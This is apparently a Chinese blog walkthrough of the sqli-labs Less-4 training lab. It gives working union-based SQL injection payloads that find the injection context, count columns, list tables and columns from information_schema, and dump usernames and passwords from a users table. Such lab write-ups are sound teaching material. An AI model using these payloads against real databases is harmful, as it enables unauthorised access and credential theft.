[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
ClouGence34 分钟前
当 AI 开始直接操作数据库,传统数据库管理工具还有必要吗?
数据库·后端·agent
Hugh-Yu-1301231 小时前
zhangxuefeng-skill配置教程
数据库
juesdo1 小时前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
布莱克6051 小时前
理解B+树:原理、特性与应用场景
数据结构·数据库·mysql
冰暮流星1 小时前
mysql之排序查询
数据库·mysql
7177771 小时前
让权限治理成为可复制资产:Gitee Team 空间配置方案与安全级别落地详解
数据库·gitee
今天AI了吗2 小时前
Agent & AI 名词大扫盲
数据库·人工智能·python·sql·rust
葡萄城技术团队2 小时前
告别宽表拖拽:SpreadJS 如何让 Web 表格承接 Excel 操作习惯
数据库·html·excel
数据知道2 小时前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全
吴声子夜歌2 小时前
网络安全——网络地址转换及其应用
网络·web安全·nat